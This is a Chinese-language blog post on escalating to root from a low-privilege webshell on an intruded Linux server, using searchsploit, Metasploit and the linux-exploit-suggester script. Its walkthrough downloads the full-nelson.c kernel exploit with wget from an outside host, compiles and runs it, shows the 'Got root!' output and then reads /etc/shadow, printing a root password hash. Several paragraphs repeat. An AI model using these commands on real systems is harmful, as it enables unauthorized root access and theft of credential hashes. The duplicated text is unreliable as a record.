[原創(chuàng)] Linux輔助提權(quán)工具,一款方便又牛叉的自動腳本:linux-exploit-suggester.sh
發(fā)布日期:2019/3/12 作者:LG
瀏覽:1548
我們在入侵linux時,如果得到了一個低權(quán)限的webshell,這時候我們想進行提權(quán)操作,我們該怎么操作呢?對于經(jīng)驗豐富的,或是手上有0day在手hacker來說可能不是什么難事,想必以下是大家習慣使用的手法:
搜索相關(guān)漏洞,如:
searchsploit Tomcat | sort -n
findsploit Tomcat 7.0.42
搜索相關(guān)漏洞,如:
searchsploit Tomcat | sort -n
findsploit Tomcat 7.0.42
MSF查找漏洞: search cve:2019 type:exploit 或 search cve:2019 type:exploit arch 386 或 edb選項匹配EXP-DB的ID(search -help)
MSF查找漏洞WINDOWS漏洞: search cve:2019 type:exploit platform windows
MSF查找2020年LINUX漏洞 :search cve:2020 type:exploit platform linux
exploit建議器:post/multi/recon/local_exploit_suggester
或在線https://github.com/mzet-/linux-exploit-suggester
.....
今天為大家介紹另外一種方法,Linux輔助提權(quán)工具,一款方便又牛叉的自動腳本:linux-exploit-suggester.sh
以下是它的官網(wǎng):https://github.com/mzet-/linux-exploit-suggester 官網(wǎng)介紹有點長,我就不全貼出來了,大家自己去看,一點都不難理解。
下面我們就試用一下,把它通過各種方法wget\ 上傳到服務器上去,然后直接執(zhí)行,返回類似下面的界面
.....
今天為大家介紹另外一種方法,Linux輔助提權(quán)工具,一款方便又牛叉的自動腳本:linux-exploit-suggester.sh
以下是它的官網(wǎng):https://github.com/mzet-/linux-exploit-suggester 官網(wǎng)介紹有點長,我就不全貼出來了,大家自己去看,一點都不難理解。
下面我們就試用一下,把它通過各種方法wget\ 上傳到服務器上去,然后直接執(zhí)行,返回類似下面的界面
我紅線框出來的是風險等級,我們優(yōu)先選 highly probable 的去攻擊,成功率會高一點,更會節(jié)省時間。上面的臟牛我試過了,可以成功提權(quán),我們再重新找一個試試,如下圖
我們在服務器SHELL上下載源碼:wget http://xxx/full-netlson.c
通過ls查看文件是否下載成功
然后把源碼編譯成可執(zhí)行文件nelson,再直接執(zhí)行,幾秒鐘過后提權(quán)成功了。
可見這款工具對于提權(quán)來說還是很方便使用的,Love it !
$ wget http://vulnfactory.org/exploits/full-nelson.c ; //從互聯(lián)網(wǎng)上下載源代碼進行編譯
$ wget http://vulnfactory.org/exploits/full-nelson.c ; //從互聯(lián)網(wǎng)上下載源代碼進行編譯
--2020-07-22 09:10:43-- http://vulnfactory.org/exploits/full-nelson.c
Resolving vulnfactory.org... 198.54.116.186
Connecting to vulnfactory.org|198.54.116.186|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9400 (9.2K) [text/plain]
Saving to: `full-nelson.c'
100%[======================================>] 9,400 36.0K/s in 0.3s
2020-07-22 09:10:43 (36.0 KB/s) - `full-nelson.c' saved [9400/9400]
$ ls //查看下載下來的文件 full-nelson.c
ls
a.c cve-2019-18634.c poc.c
a.out full-nelson.c rh-cve-2016-5195_5.sh
CVE-2017-1000366_CVE-2017-1000379.c my.php scanexp.sh
$ gcc -o nelson ./full-nelson.c //對下載的源碼進行編譯
gcc -o nelson ./full-nelson.c
$ ls //查看編譯成功的文件是否存在
ls
a.c full-nelson.c rh-cve-2016-5195_5.sh
a.out my.php scanexp.sh
CVE-2017-1000366_CVE-2017-1000379.c nelson //編譯成功的文件
cve-2019-18634.c poc.c
$ ./nelson //提交執(zhí)行進行提權(quán)
./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf83992d0
[+] Resolved econet_ops to 0xf83993c0
[+] Resolved commit_creds to 0xc01763d0
[+] Resolved prepare_kernel_cred to 0xc0176710
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
# id
id
uid=0(root) gid=0(root) //提權(quán)成功了
# cat /etc/shadow //可以讀取敏感文件了
cat /etc/shadow
root:$6$.jAQ34WR$Wle7fjBZkKp5vLAdRaOA8esxbw7d8mFPubnFZkHKGd6BfsTUHN52jtvVO.zntjvmNb6uklmk2SHvExeNIYPL/1:18464:0:99999:7:::
下拉加載更多評論